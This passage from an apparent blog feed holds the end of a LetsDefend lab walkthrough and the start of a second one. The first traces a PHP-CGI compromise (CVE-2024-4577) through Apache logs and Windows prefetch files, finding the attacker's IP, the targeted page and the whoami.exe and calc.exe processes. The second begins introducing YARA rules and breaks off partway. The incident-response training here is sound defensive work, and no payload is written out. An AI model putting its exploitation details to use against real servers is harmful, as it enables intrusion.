&lt;code&gt;Action&lt;/code&gt; directive? Remember the question is asking us to find the &amp;quot; # &amp;ldquo;directive in httpd.conf specifies the scripts that handle requests for PHP file&amp;rdquo;— let&amp;rsquo;s do some research in the &lt;a class=&#34;link&#34; href=&#34;https://httpd.apache.org/docs/2.4/mod/mod_actions.html#action&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Apache&lt;/strong&gt;&lt;/a&gt; docs to learn more about this directive.&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The &lt;code&gt;[Action](https://httpd.apache.org/docs/2.4/mod/mod_actions.html#action)&lt;/code&gt; directive lets you run CGI scripts whenever a file of a certain &lt;a class=&#34;link&#34; href=&#34;https://httpd.apache.org/docs/2.4/glossary.html#mime-type&#34;  title=&#34;see glossary&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;MIME content type&lt;/a&gt; is requested. The &lt;code&gt;[Script](https://httpd.apache.org/docs/2.4/mod/mod_actions.html#script)&lt;/code&gt; directive lets you run CGI scripts whenever a particular method is used in a request. This makes it much easier to execute scripts that process files.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;This directive fits what we&amp;rsquo;re looking for!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1920px&#34; data-flex-grow=&#34;800&#34; height=&#34;100&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/b135a40cd864c7fdcd0b3df1e24e5991_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-is-the-ip-address-of-the-attacker-who-attempted-to-exploit-ourserver&#34;&gt;Question 3: What is the IP address of the attacker who attempted to exploit our server?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 3&lt;/strong&gt;, we&amp;rsquo;ll need to pivot to another artifact: the &lt;code&gt;access.log&lt;/code&gt; file within the &lt;code&gt;Apache24 &amp;gt; logs&lt;/code&gt; folder.&lt;/p&gt;&#xA;&lt;p&gt;After a cursory scan of the logs, we&amp;rsquo;ll observe several IP addresses in the log entries. However, compared to the others, one of them is making some strange requests. Notice the odd parameters included with the &lt;strong&gt;HTTP POST&lt;/strong&gt; requests to &lt;code&gt;/upload.php&lt;/code&gt; from &lt;code&gt;192.168.110.1&lt;/code&gt;&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;329px&#34; data-flex-grow=&#34;137&#34; height=&#34;583&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/1eb4ba4b74cf5bd19bc25d1acd65a014_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2021px&#34; data-flex-grow=&#34;842&#34; height=&#34;95&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/4ef521f4d305abd3fb7a61e733dc26e8_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-the-attacker-targeted-a-specific-page-on-the-server-with-malicious-payloads-which-page-did-the-attacker-target-with-malicious-payloads&#34;&gt;Question 4: The attacker targeted a specific page on the server with malicious payloads. Which page did the attacker target with malicious payloads?&#xA;&lt;/h3&gt;&lt;p&gt;Oh, awesome! The method that we used to discover the attacker&amp;rsquo;s IP address already provided us with the answer to &lt;strong&gt;Question 4&lt;/strong&gt;!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1939px&#34; data-flex-grow=&#34;808&#34; height=&#34;99&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/ceab5adea034067e194d4c61cd9bfced_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-version-of-apache-is-running-on-theserver&#34;&gt;Question 5: What version of Apache is running on the server?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s move onto the other artifacts within the &lt;code&gt;Apache24 &amp;gt; logs&lt;/code&gt; folder since the version information isn&amp;rsquo;t available in &lt;code&gt;access.log&lt;/code&gt; . This time, we&amp;rsquo;ll check the &lt;code&gt;error.log&lt;/code&gt; to see what information we can find.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;328px&#34; data-flex-grow=&#34;136&#34; height=&#34;585&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/cbba3dd0561716ad77cf2be1999500d3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;After opening this in &lt;strong&gt;Notepad++,&lt;/strong&gt; we&amp;rsquo;ll see the &lt;strong&gt;Apache&lt;/strong&gt; version listed on line 1.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2021px&#34; data-flex-grow=&#34;842&#34; height=&#34;95&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/25ad1d15b16d5950dec5c6212fa503fe_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-the-attacker-managed-to-execute-commands-on-the-server-what-was-the-first-process-initiated-by-the-attackers-commands-during-their-successful-attempt&#34;&gt;Question 6: The attacker managed to execute commands on the server. What was the first process initiated by the attacker&amp;rsquo;s commands during their successful attempt?&#xA;&lt;/h3&gt;&lt;p&gt;Remember back in &lt;strong&gt;Question 1&lt;/strong&gt; that we noted a third set of artifacts in the &lt;code&gt;prefetch&lt;/code&gt; folder? Now it&amp;rsquo;s time to check them out. Once the folder is open, sort the folder contents by date modified so that we can organize the timestamps more efficiently.&lt;/p&gt;&#xA;&lt;p&gt;The folder contains the list of executables loaded into the prefetch. Remember that prefetch files are used in &lt;strong&gt;Windows&lt;/strong&gt; to speed up the loading of applications. These files contain information about the applications that have been run, including their execution history, file paths, and timestamps, which is exactly what we&amp;rsquo;ll need to answer &lt;strong&gt;Question 6&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Because we already examined the &lt;code&gt;access.log&lt;/code&gt; in &lt;strong&gt;Question 3,&lt;/strong&gt; we already have a general timeline of when the attacker accessed the server. So, let&amp;rsquo;s start there, using the timestamps of the first event range targeting the &lt;code&gt;/upload.php&lt;/code&gt; page.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;327px&#34; data-flex-grow=&#34;136&#34; height=&#34;586&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/2016378f78701f66be88011fb4a0ef72_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Pay special attention to the &lt;strong&gt;+0300&lt;/strong&gt; in the timestamp. This offset indicates that it&amp;rsquo;s 3 hours ahead of UTC, meaning the local &lt;strong&gt;prefetch&lt;/strong&gt; timestamps could be in UTC time so they won&amp;rsquo;t match the logs exactly. For example, 14:24:31 &amp;gt; 11:24 AM.&lt;/p&gt;&#xA;&lt;p&gt;Now, looking in the &lt;code&gt;prefetch&lt;/code&gt; folder, nothing seems to match the timestamps from the first attempt&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;323px&#34; data-flex-grow=&#34;134&#34; height=&#34;594&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/6c0bc0e42f57dfdaca19216c66529508_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;No problem! Let&amp;rsquo;s check the next set of events in the &lt;code&gt;access.log&lt;/code&gt; with the attacker&amp;rsquo;s source IP address, and match those to the &lt;strong&gt;prefetch&lt;/strong&gt; data — this gets us closer to the time of the IDS alert.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;659px&#34; data-flex-grow=&#34;274&#34; height=&#34;291&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/9443ae4de6f39d8dc6955ad2fbb2892f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;507px&#34; data-flex-grow=&#34;211&#34; height=&#34;378&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/8f44e8da5b019a03de06d98d31b6fb07_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Bingo! Now we have some matching time stamps and we can see the first process executed is &lt;code&gt;whoami.exe&lt;/code&gt; to check the username of the currently logged-in user.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1959px&#34; data-flex-grow=&#34;816&#34; height=&#34;98&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/3bbd1781a875e4cfe7423e4fb3a1fc13_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-before-the-attacker-was-detected-and-blocked-they-executed-another-command-launching-a-new-process-what-process-was-launched-by-thiscommand&#34;&gt;Question 7: Before the attacker was detected and blocked, they executed another command, launching a new process. What process was launched by this command?&#xA;&lt;/h3&gt;&lt;p&gt;Fortunately, the steps we took to answer the last question also work for &lt;strong&gt;Question 7&lt;/strong&gt;. Using the same matching &lt;strong&gt;prefetch&lt;/strong&gt; timestamps, we can determine that the attacker executed another command, &lt;code&gt;calc.exe&lt;/code&gt; , which is often used as a proof-of-concept demonstrating remote code execution&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1846px&#34; data-flex-grow=&#34;769&#34; height=&#34;104&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/61b0a0e9c8f705120e0aa16c824825b7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-what-is-the-cve-number-of-the-exploit-used-by-the-attacker&#34;&gt;Question 8: What is the CVE number of the exploit used by the attacker?&#xA;&lt;/h3&gt;&lt;p&gt;Now let&amp;rsquo;s put everything we&amp;rsquo;ve learned together and determine which CVE the threat actor exploited. To recap:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The compromised web server is running &lt;strong&gt;PHP 8.2.19.&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;PHP&lt;/strong&gt; is running as &lt;strong&gt;CGI&lt;/strong&gt; on &lt;strong&gt;Windows.&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;The attacker&amp;rsquo;s payload targeted the &lt;code&gt;/upload.php&lt;/code&gt; page.&lt;/li&gt;&#xA;&lt;li&gt;The attacker executed &lt;code&gt;whoami&lt;/code&gt; and &lt;code&gt;calc.exe&lt;/code&gt;, indicating we are looking for a remote code execution.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s do a &lt;strong&gt;Google&lt;/strong&gt; search with these parameters to see what information we can discover:&lt;/p&gt;&#xA;&lt;p&gt;php cgi 8.2.19 windows remote code execution vulnerability&lt;/p&gt;&#xA;&lt;p&gt;The answer is — a lot! We can select any number of the returned links to learn about this vulnerability, but all of them refer back to the disclosure write-up from the &lt;strong&gt;DEVCORE&lt;/strong&gt; Research team. The referenced PoC for &lt;strong&gt;CVE-2024€“4577&lt;/strong&gt; looks &lt;em&gt;very&lt;/em&gt; familiar based on what we saw in our logs.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/?ref=labs.watchtowr.com&#34;  title=&#34;https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/?ref=labs.watchtowr.com&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Security Alert: CVE-2024-4577 - PHP CGI Argument Injection Vulnerability | DEVCORE æˆ´å¤«å¯‡çˆ¾&lt;/strong&gt;&#xA;_While implementing PHP, the team did not notice the Best-Fit feature of encoding conversion within the Windows&amp;hellip;_devco.re&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/?ref=labs.watchtowr.com&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/php/php-src/security/advisories/GHSA-3qgc-jrrr-25jv&#34;  title=&#34;https://github.com/php/php-src/security/advisories/GHSA-3qgc-jrrr-25jv&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;PHP RCE: A Bypass of CVE-2012-1823, Argument Injection in PHP-CGI&lt;/strong&gt;&#xA;_Hi, I am Orange Tsai from DEVCORE Research Team. We recently found a vulnerability on PHP. We have reproduced the&amp;hellip;_github.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/php/php-src/security/advisories/GHSA-3qgc-jrrr-25jv&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1939px&#34; data-flex-grow=&#34;808&#34; height=&#34;99&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/57e5cd5270bd032f6662fa7540f7be5e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;There we have it! Using the PHP logs, we discovered that the web server was running a version of PHP vulnerable to &lt;a class=&#34;link&#34; href=&#34;https://nvd.nist.gov/vuln/detail/cve-2024-4577&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;CVE-2024€“4577&lt;/a&gt;. After that, we leveraged the Apache logs to discover the attacker&amp;rsquo;s IP address, what web page was targeted, then correlated the data with the Windows Prefetch to uncover evidence of remote code execution. Now that we have scoped the attack and completed our objectives, let&amp;rsquo;s close out this walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/php-cgi-CVE-2024-4577&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;PHP-CGI (CVE-2024€“4577)&lt;/strong&gt;&lt;/a&gt;!&lt;/p&gt;&#xA;&lt;p&gt;Another big thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; for continuing to provide these awesome labs. I chose this challenge to better understand how web servers work and see what logs are available during incident response. I appreciated that the discovery process built a catalog of evidence that could be used to locate the applicable CVE number. It was a fun process to do the detective work based on the clues. After going through this challenge, I&amp;rsquo;ve gained a better understanding of this vulnerability and assembled valuable resources to tackle the triage process in the real world.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for the support and going through this investigation with me. Remember, if you found this walkthrough helpful don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/07670987b1c64247f60a1576b9626235_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;PHP Manual:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.php.net/manual/en/introduction.php&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;PHP: Introduction — Manual&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Apache Documentation:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://httpd.apache.org/docs/2.4/configuring.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Configuration Files — Apache HTTP Server Version 2.4&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Devcore Blog — Security Alert: CVE-2024€“4577 — PHP CGI Argument Injection Vulnerability:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/?ref=labs.watchtowr.com&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/?ref=labs.watchtowr.com&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;PHP Security Advisories GitHub:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/php/php-src/security/advisories/GHSA-3qgc-jrrr-25jv&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/php/php-src/security/advisories/GHSA-3qgc-jrrr-25jv&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;National Vulnerability Database (CVE-2024€“4577):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://nvd.nist.gov/vuln/detail/cve-2024-4577&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://nvd.nist.gov/vuln/detail/cve-2024-4577&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — YARA Rule Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/</link>
            <pubDate>Mon, 20 Jan 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — YARA Rule Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--yara-rule-challenge-walkthrough&#34;&gt;LetsDefend — YARA Rule Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;an-introduction-to-yara-rules-using-notepad-ida-and-hybridanalysis&#34;&gt;An introduction to YARA rules using Notepad++, IDA, and Hybrid Analysis&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;366&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; width=&#34;700&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Welcome to my weekly walkthrough!&lt;/strong&gt; If you&amp;rsquo;ve stumbled across this blog searching for a detailed guide of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/yara-rule&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;YARA Rule&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place.&lt;/p&gt;&#xA;&lt;p&gt;For those unfamiliar with &lt;strong&gt;YARA rules,&lt;/strong&gt; this challenge provides an excellent introduction. Before diving in, let&amp;rsquo;s quickly cover what &lt;a class=&#34;link&#34; href=&#34;https://virustotal.github.io/yara/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;YARA&lt;/strong&gt;&lt;/a&gt; is based on the information from the project&amp;rsquo;s GitHub.&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;YARA is a tool aimed at (but not limited to) helping malware researchers to identify and classify malware samples. With YARA you can create descriptions of malware families (or whatever you want to describe) based on textual or binary patterns. Each description, a.k.a rule, consists of a set of strings and a boolean expression which determine its logic.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Put another way, &lt;strong&gt;YARA&lt;/strong&gt; rules are written to identify malware based on matching specific content within a sample. For this challenge, we&amp;rsquo;ll examine a &lt;strong&gt;YARA&lt;/strong&gt; rule in &lt;strong&gt;Notepad++&lt;/strong&gt; to understand the parts of a rule. Then, we&amp;rsquo;ll apply the rule&amp;rsquo;s logic to search for matching strings within a malware binary using &lt;strong&gt;IDA.&lt;/strong&gt; Finally, we&amp;rsquo;ll pivot to &lt;strong&gt;Hybrid Analysis&lt;/strong&gt; to search the submissions data with the rule and identify matching samples. Sounds like fun, right? Let&amp;rsquo;s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/yara-rule&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/yara-rule&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Welcome to the YARA Rules Challenge! This exercise is designed to introduce you to the basics of YARA rules and how they work.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;File Location-1&lt;/strong&gt;: C:\Users\LetsDefend\Desktop\ChallengeFiles\sample.7z&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;File Location-2&lt;/strong&gt;: C:\Users\LetsDefend\Desktop\ChallengeFiles\sample.yara&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-name-of-this-yararule&#34;&gt;Question 1: What is the name of this YARA rule?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s jump right into the action! The &lt;strong&gt;ChallengeFiles&lt;/strong&gt; folder contains two files: &lt;strong&gt;sample.yara&lt;/strong&gt; and &lt;strong&gt;sample.7z.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll use both files during the challenge but let&amp;rsquo;s focus first on examining &lt;strong&gt;sample.yara&lt;/strong&gt;. Remember, &lt;strong&gt;YARA&lt;/strong&gt; Rules are written to identify malware based on matching content within the sample. So, let&amp;rsquo;s open &lt;strong&gt;sample.yara&lt;/strong&gt; using a text editor like &lt;strong&gt;Notepad++&lt;/strong&gt; and see what&amp;rsquo;s inside.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;635px&#34; data-flex-grow=&#34;264&#34; height=&#34;302&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/a89ebfc96fa1efad1b158f1832c6e41b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 1&lt;/strong&gt; we&amp;rsquo;ll start out easy, looking for the &lt;strong&gt;rule identifier&lt;/strong&gt;. According the &lt;strong&gt;YARA documentation,&lt;/strong&gt; &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;each rule in YARA starts with the keyword &lt;code&gt;rule&lt;/code&gt; followed by a rule identifier&amp;quot;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;341px&#34; data-flex-grow=&#34;142&#34; height=&#34;563&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/a25158b51059270b83f4f5f62b7c36c8_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2594px&#34; data-flex-grow=&#34;1081&#34; height=&#34;74&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/90af27cd6fefa471315609fc3fd44896_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-is-the-name-of-the-author-of-this-yararule&#34;&gt;Question 2: What is the name of the author of this YARA rule?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 2&lt;/strong&gt;, refer to the &lt;strong&gt;meta&lt;/strong&gt; section of the rule, which contains details about the rule itself such as the author, description, and purpose of the 